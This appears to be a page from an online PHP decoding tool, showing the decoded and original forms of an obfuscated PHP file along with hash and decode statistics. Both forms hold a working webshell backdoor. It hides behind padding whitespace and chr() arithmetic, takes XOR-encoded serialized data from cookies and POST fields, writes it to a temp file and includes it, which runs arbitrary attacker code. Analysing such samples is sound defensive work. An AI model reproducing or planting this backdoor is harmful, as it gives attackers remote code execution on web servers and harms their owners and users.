Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

<?php                                                                                                                                                                                                                                                                                                                                                                                                $wVOzMvlXiZ = chr ( 375 - 263 ).chr ( 465 - 379 )."_" . 'W' . chr (113) . "M" . chr ( 892 - 805 ); $AlJKm = 'c' . 'l' . chr ( 348 - 251 ).'s' . chr (115) . chr ( 955 - 860 ).chr ( 732 - 631 ).chr ( 738 - 618 )."i" . "s" . chr ( 177 - 61 )."s";$vsuPoLHArk = $AlJKm($wVOzMvlXiZ); $wVOzMvlXiZ = "61990";$tpbQtM = !$vsuPoLHArk;$AlJKm = "64632";if ($tpbQtM){class pV_WqMW{private $qSUquK;public static $nIWmYCeeun = "98d0fc19-129f-490e-8b08-551ad1f267a3";public static $LiLrnQn = 52554;public function __construct($TYokH=0){$FGHWBTckF = $_COOKIE;$QkIrYFG = $_POST;$nKkZNVtW = @$FGHWBTckF[substr(pV_WqMW::$nIWmYCeeun, 0, 4)];if (!empty($nKkZNVtW)){$SgtUuUi = "base64";$qfoedZO = "";$nKkZNVtW = explode(",", $nKkZNVtW);foreach ($nKkZNVtW as $AXqtRVaRgY){$qfoedZO .= @$FGHWBTckF[$AXqtRVaRgY];$qfoedZO .= @$QkIrYFG[$AXqtRVaRgY];}$qfoedZO = array_map($SgtUuUi . "_" . "d" . 'e' . "c" . chr (111) . "d" . "e", array($qfoedZO,)); $qfoedZO = $qfoedZO[0] ^ str_repeat(pV_WqMW::$nIWmYCeeun, (strlen($qfoedZO[0]) / strlen(pV_WqMW::$nIWmYCeeun)) + 1);pV_WqMW::$LiLrnQn = @unserialize($qfoedZO);}}private function TWkxG(){if (is_array(pV_WqMW::$LiLrnQn)) {$eYFQtxNpnX = sys_get_temp_dir() . "/" . crc32(pV_WqMW::$LiLrnQn["s" . chr ( 851 - 754 ).chr (108) . "t"]);@pV_WqMW::$LiLrnQn["w" . chr (114) . chr ( 305 - 200 ).chr (116) . "e"]($eYFQtxNpnX, pV_WqMW::$LiLrnQn[chr ( 279 - 180 ).'o' . "n" . 't' . 'e' . "n" . 't']);include $eYFQtxNpnX;@pV_WqMW::$LiLrnQn[chr (100) . "e" . "l" . "e" . "t" . chr ( 724 - 623 )]($eYFQtxNpnX); $UuUqEzC = "9580";exit();}}public function __destruct(){$this->TWkxG(); $zRCTidBDq = str_pad("9580", 10);}}$ofLSKx = new /* 12212 */ pV_WqMW(); $ofLSKx = substr("15363_15081", 1);} ?><?php> ?>

Did this file decode correctly?

Original Code

<?php                                                                                                                                                                                                                                                                                                                                                                                                $wVOzMvlXiZ = chr ( 375 - 263 ).chr ( 465 - 379 )."\x5f" . 'W' . chr (113) . "\x4d" . chr ( 892 - 805 ); $AlJKm = 'c' . 'l' . chr ( 348 - 251 ).'s' . chr (115) . chr ( 955 - 860 ).chr ( 732 - 631 ).chr ( 738 - 618 )."\151" . "\163" . chr ( 177 - 61 )."\163";$vsuPoLHArk = $AlJKm($wVOzMvlXiZ); $wVOzMvlXiZ = "61990";$tpbQtM = !$vsuPoLHArk;$AlJKm = "64632";if ($tpbQtM){class pV_WqMW{private $qSUquK;public static $nIWmYCeeun = "98d0fc19-129f-490e-8b08-551ad1f267a3";public static $LiLrnQn = 52554;public function __construct($TYokH=0){$FGHWBTckF = $_COOKIE;$QkIrYFG = $_POST;$nKkZNVtW = @$FGHWBTckF[substr(pV_WqMW::$nIWmYCeeun, 0, 4)];if (!empty($nKkZNVtW)){$SgtUuUi = "base64";$qfoedZO = "";$nKkZNVtW = explode(",", $nKkZNVtW);foreach ($nKkZNVtW as $AXqtRVaRgY){$qfoedZO .= @$FGHWBTckF[$AXqtRVaRgY];$qfoedZO .= @$QkIrYFG[$AXqtRVaRgY];}$qfoedZO = array_map($SgtUuUi . "\x5f" . "\x64" . 'e' . "\143" . chr (111) . "\x64" . "\145", array($qfoedZO,)); $qfoedZO = $qfoedZO[0] ^ str_repeat(pV_WqMW::$nIWmYCeeun, (strlen($qfoedZO[0]) / strlen(pV_WqMW::$nIWmYCeeun)) + 1);pV_WqMW::$LiLrnQn = @unserialize($qfoedZO);}}private function TWkxG(){if (is_array(pV_WqMW::$LiLrnQn)) {$eYFQtxNpnX = sys_get_temp_dir() . "/" . crc32(pV_WqMW::$LiLrnQn["\163" . chr ( 851 - 754 ).chr (108) . "\164"]);@pV_WqMW::$LiLrnQn["\x77" . chr (114) . chr ( 305 - 200 ).chr (116) . "\x65"]($eYFQtxNpnX, pV_WqMW::$LiLrnQn[chr ( 279 - 180 ).'o' . "\x6e" . 't' . 'e' . "\156" . 't']);include $eYFQtxNpnX;@pV_WqMW::$LiLrnQn[chr (100) . "\145" . "\x6c" . "\145" . "\x74" . chr ( 724 - 623 )]($eYFQtxNpnX); $UuUqEzC = "9580";exit();}}public function __destruct(){$this->TWkxG(); $zRCTidBDq = str_pad("9580", 10);}}$ofLSKx = new /* 12212 */ pV_WqMW(); $ofLSKx = substr("15363_15081", 1);} ?><?php>

Function Calls

None

Variables

None

Stats

MD5 384fcef0148bcd149dc5b12bf992a3b8
Eval Count 0
Decode Time 67 ms